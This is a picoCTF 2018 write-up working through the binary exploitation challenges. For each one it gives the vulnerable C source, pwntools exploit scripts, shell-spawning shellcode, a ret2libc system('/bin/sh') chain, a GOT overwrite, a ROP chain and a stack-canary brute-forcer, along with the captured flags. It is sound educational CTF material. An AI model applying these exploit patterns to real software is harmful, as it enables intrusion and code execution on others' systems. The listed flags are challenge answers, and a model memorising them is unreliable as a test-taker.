Description
This was my first time playing in picoCTF. I was pleasantly surprised with the quality and progression of the challenges. Using this to my advantage, I decided to go through the binary exploitation series in an attempt to better hone my fundamentals and exploit development skills.
Buffer Overflow 0
In this challenge, we’re given a vulnerable binary and it’s corresponding source code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}
void vuln(char *input){
char buf[16];
strcpy(buf, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL)
{
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
if (argc > 1)
{
vuln(argv[1]);
printf("Thanks! Received: %s", argv[1]);
}
else
{
printf("This program takes 1 argument.\n");
}
return 0;
}
From a cursory glance at the source code, we see the binary take a single command line argument and copies it into a character buffer of size 16, without any length checks. This is where our overflow will occur. Next we must find the offset to eip
- once we control eip
, we control the execution of the binary.
Using pattern_create.rb
and pattern_offset.rb
we find the offset of eip
is 28 characters. In gdb:
run $(`locate pattern_create` -l 50)
Note: GEF offers this functionality as pattern create <LENGTH>
within gdb.
This displays the crash and tells us that eip
is trying to find the address of a9Ab
. Using `locate pattern_offset.rb` -q a9Ab
we know now that any input after 28 characters will overwrite eip
. Thus, we can disasemble the function sigsegv_handler
and overwrite eip
with it’s address.
./vuln $(python -c 'print "A"*28 + "\x2b\x86\x04\x08"')
picoCTF{ov3rfl0ws_ar3nt_that_bad_b49d36d2}
Buffer Overflow 1
Similar to the previous challenge, we are give a binary and it’s source code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
This binary performs the vulnerable gets()
call for a 32 character buffer - again with no length constraints on our input. Using the same tactics as before, we fuzz the input with a unique string to determine the offset of eip
. With pattern_create.rb
we get an offset of 44.
Appending the address of win
, we get the flag. This exploit didn’t have a public facing port, so we had to run our exploit locally on the picoCTF box.
#!/usr/bin/python
from pwn import *
import sys
import os
def exploit(r):
payload = ''
payload += "A"*44
payload += p32(0x080485cb)
r.sendlineafter(': ',payload)
r.recvline()
r.recvline()
print r.recvline()
return
if __name__ == '__main__':
name = "./vuln"
binary = ELF(name)
context.terminal=["tmux", "sp", "-h"]
if len(sys.argv) > 1:
#r = remote(HOST,PORT)
r = process(name, env={})
else:
r = process(name, env={})
gdb.attach(r, """
c
""")
exploit(r)
picoCTF{addr3ss3s_ar3_3asy14941911}
Leak Me
Given the binary and source for this challenge, we start by parsing the source code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
// real pw:
FILE *file;
char password[64];
char name[256];
char password_input[64];
memset(password, 0, sizeof(password));
memset(name, 0, sizeof(name));
memset(password_input, 0, sizeof(password_input));
printf("What is your name?\n");
fgets(name, sizeof(name), stdin);
char *end = strchr(name, '\n');
if (end != NULL) {
*end = '\x00';
}
strcat(name, ",\nPlease Enter the Password.");
file = fopen("password.txt", "r");
if (file == NULL){
printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(password, sizeof(password), file);
printf("Hello ");
puts(name);
fgets(password_input, sizeof(password_input), stdin);
password_input[sizeof(password_input)] = '\x00';
if (!strcmp(password_input, password)) {
flag();
}
else {
printf("Incorrect Password!\n");
}
return 0;
}
First, we notice that memory has first been allocated for a password and then the name, respectively. Next, we notice that the user-supplied username is displayed back to us via puts()
, without any length restrictions. Thus, if we’re able to overflow the name pointer, then we would be able to leak the contents of the password via puts()
. Sending a name of length 300 proved this correct!
def exploit(r):
payload = ''
payload += "A"*300 #cause a leak from username
r.sendlineafter('?\n',payload)
r.interactive()
return
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,a_reAllY_s3cuRe_p4s$word_a28d9d
Now that we have the password, we can simply login to the binary as intended.
def exploit(r):
r.sendlineafter('?\n','admin')
r.sendlineafter('.\n','a_reAllY_s3cuRe_p4s$word_a28d9d')
r.interactive()
return
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_ee6111c9}
Shellcode
As usual, we begin by performing a code audit on the source.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter a string!");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
return 0;
}
Immediately we notice that the whole point of this challenge is simply to create a straightforward payload that will spawn a shell. Using pre-generated shellcode from shell-storm, we get the flag.
def exploit(r):
payload = ''
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
payload += "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
r.recvuntil('!\n')
r.send(payload)
r.interactive()
return
picoCTF{shellc0de_w00h00_b766002c}
Buffer Overflow 2
This challenge was nearly identical to Buffer Overflow 1, with a single caveat - we had to pass two arguments to the win()
function.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xDEADC0DE)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
Due to the calling structure of x86, we structured our shellcode to call the win()
function, followed by the address of return
in main
, followed by the arguments required to print the flag.
Note: We could fill the return address with anything, but by using the address of exit()
we are allowing the binary properly exit, preventing a segmentation fault.
def exploit(r):
payload = ''
payload += "A"*112 # offset to EIP
payload += p32(0x080485cb) #addr of win()
payload += p32(0x080486cf) #ret to exit()
payload += p32(0xDEADBEEF) #arg1 of win()
payload += p32(0xDEADC0DE) #arg2 of win()
r.sendlineafter(': \n',payload)
r.interactive()
return
picoCTF{addr3ss3s_ar3_3asy1b78b0d8}
got-2-learn-libc
After reading the source code we see that vuln()
has a simple buffer overflow.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */
void vuln(){
char buf[BUFSIZE];
puts("Enter a string:");
gets(buf);
puts(buf);
puts("Thanks! Exiting now...");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Here are some useful addresses:\n");
printf("puts: %p\n", puts);
printf("fflush %p\n", fflush);
printf("read: %p\n", read);
printf("write: %p\n", write);
printf("useful_string: %p\n", useful_string);
printf("\n");
vuln();
return 0;
}
Using pattern_create.rb
and pattern_offset.rb
, we find an offset of 160. We now have control of eip
and it appears the challenge requires you to call execve
or system
with the provided /bin/sh
string. To do this, we need to first figure out which libc we’re working with. We’ll try calling one of the provided addresses. First we try puts()
but no luck. Next we try fflush()
and voila!
0xf7d74010 in ?? () from /lib/i386-linux-gnu/libc.so.6
Great - but this is our local libc. This reminds me! There is a much easier way to find which libc is being used.
$ ldd vuln
linux-gate.so.1 => (0xf76e8000)
libc.so.6 => /lib32/libc.so.6 (0xf7522000)
/lib/ld-linux.so.2 (0xf76e9000)
Copying over the libc allows us to calculate the offset of system()
from fflush()
via libc base pointer. Using readelf
:
$ readelf -s /lib32/libc.so.6 | grep fflush()
88: 000000000005d330 311 FUNC WEAK DEFAULT 13 fflush@@GLIBC_2.2.5
226: 0000000000077fb0 45 FUNC WEAK DEFAULT 13 fflush_unlocked@@GLIBC_2.2.5
466: 000000000006d7a0 311 FUNC GLOBAL DEFAULT 13 _IO_fflush@@GLIBC_2.2.5
we find the offset of fflush()
is 0x0005d330
and the offset of system()
is 0x0003a940
.
With all our address, we make a call to system('/bin/sh')
and we get our flag.
eip_offset = 160
libc_system_offset = 0x0003a940 # offset of system
libc_fflush_offset = 0x0005d330 # offset of fflush
def exploit(r):
# Grab fflush and /bin/sh
r.recvuntil('fflush ')
fflush_addr = int(r.recv(10),16)
r.recvuntil('_string: ')
bin_sh_addr = int(r.recv(10),16)
# Calculate libc base addr and system()
libc_base = fflush_addr - libc_fflush_offset
system_addr = libc_base + libc_system_offset
log.info("libc base : %s" % hex(libc_base))
log.info("fflush() : %s" % hex(fflush_addr))
log.info("system() : %s" % hex(system_addr))
log.info("/bin/sh : %s" % hex(bin_sh_addr))
# I/O
print r.recvuntil('a string:\n')
# Create Payload
payload = ''
payload += '\x90'*eip_offset
payload += p32(system_addr)
payload += p32(0x565558f4) #ret2main
payload += p32(bin_sh_addr)
# I/O
r.sendline(payload)
print r.recvuntil('...\n')
r.interactive()
return
picoCTF{syc4al1s_4rE_uS3fUl_b61928e8}
Echooo
This program prints any input you give it. Can you leak the flag? Connect with
nc 2018shell1.picoctf.com 23397
Authenticate
Analyzing the source code tells us that in order to get the flag, we must change the value of authenticaed
to any integer other than 0 (recall: any value beside 0 evaluates to True in C). Since the code takes our input and displays it back to us via printf()
we see that this may be a potential format string attack. From our reading, we know that via a format string vulnerability, we can write an integer into any arbitrary address (given that ASLR is disabled).
Disasembling the if/else statement, we see that mov eax,ds:0x804a04c
. We know that C stores globally delarced variables in the Data Segment, i.e. DS. Thus we have the address of the global int, authenticated
. With this, we can overwrite the value to anything else.
picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_0f2666af}
got-shell?
Source
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
void win() {
system("/bin/sh");
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[256];
unsigned int address;
unsigned int value;
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
scanf("%x", &address);
sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
puts(buf);
scanf("%x", &value);
sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
puts(buf);
*(unsigned int *)address = value;
puts("Okay, exiting now...\n");
exit(1);
}
This challenge allows two inputs - we can pick an address and value to write into. Our tentative idea is to overwrite the value of the last puts()
statement in the global offset table (GOT) with the address of the win()
function, hopefully launching us a shell.
HOST = '2018shell2.picoctf.com'
PORT = 23731
win_addr = '0x0804854b'
puts_got_addr = '0x0804a00c'
def exploit(r):
addr = puts_got_addr
val = win_addr
r.sendlineafter('value?\n',addr) #takes str type
r.sendlineafter('\n',val) #takes str type
r.interactive()
return
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_a8321d81}
rop chain
Source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define BUFSIZE 16
bool win1 = false;
bool win2 = false;
void win_function1() {
win1 = true;
}
void win_function2(unsigned int arg_check1) {
if (win1 && arg_check1 == 0xBAAAAAAD) {
win2 = true;
}
else if (win1) {
printf("Wrong Argument. Try Again.\n");
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void flag(unsigned int arg_check2) {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
printf("%s", flag);
return;
}
else if (win1 && win2) {
printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
}
else if (win1 || win2) {
printf("Nice Try! You're Getting There!\n");
}
else {
printf("You won't get the flag that easy..\n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
This challenge presents us with a typically looking memory corruption. With pattern_offset.rb
we find the offset to control eip
. After this, we begin to break down the logic of the code. To get the flag, we need to set both win1
and win2
to true while also passing the argument 0xDEADBAAD
to the flag()
function. To understand how to call these functions and pass them each parameters requires we understand how to call stack frame works.
Address of win1
Return to address of win_function2()
Return to address of flag
argument for win_function2()
arguement for flag()
eip_offset = 28
win1_addr = 0x080485cb
win2_addr = 0x080485d8
flag_addr = 0x0804862b
def exploit(r):
payload = ''
payload += 'A'*eip_offset
#payload += os.popen("`locate 'pattern_create.rb'` -l 50").read()
#Return to win1 then win2 with arg1=0xBAAAAAAD
rop = ''
rop += p32(win1_addr)
rop += p32(win2_addr) #return addr after win_function1()
rop += p32(flag_addr) #return addr after win_function2()
rop += p32(0xBAAAAAAD) #arg for win_function2()
rop += p32(0xDEADBAAD) #arg for flag()
r.sendlineafter('> ',payload+rop)
r.interactive()
return
picoCTF{rOp_aInT_5o_h4Rd_R1gHt_6e6efe52}
Buffer Overflow 3
Source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
int i;
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
From the source code there’s two different approaches to take; we can brute force the stack canary or since the exploit must be run locally, we can abuse relative paths.
canary_offset = 32
eip_offset = 16 #offset from canary
win_addr = 0x080486eb
canary = 0x2c567834
def oracle():
canary = ''
guess = 0x00
payload = ''
payload += 'A'*canary_offset
#brute force next 4 addresses
while len(canary) < 4:
while guess != 0xff:
r = process(name,env={})
r.recvuntil('?\n> ')
r.sendline('36')
r.recvuntil("Input> ")
r.sendline(payload + p8(guess))
result = r.recvline() #either "stack smashing detected" or "where's the flag?"
print result
r.close()
log.info("Sent: %s" % hex(guess))
if 'Corrupt!' in result:
log.info('Corrupt')
if 'Flag?' in result:
print "Guessed correct byte:", format(guess, '02x')
canary += p8(guess)
payload += p8(guess)
guess = 0x0
break
guess += 1
pause()
return
def exploit(r):
payload = ''
payload += 'A'*canary_offset
payload += p32(canary) #pack canary into overflow to bypass security restrictions
payload += 'A'*eip_offset
payload += p32(win_addr)*3 #overwrite eip with addr of win()
#payload += 'B'*4
#payload += p32(binary.symbols['exit'])
#payload += p32(win_addr)
log.info('Sending payload %s' % payload)
r.sendlineafter('\n> ', '%s' % str(len(payload)+1))
r.sendlineafter('Input> ', payload)
print r.recvline()
return
picoCTF{eT_tU_bRuT3_F0Rc3_58bc7747}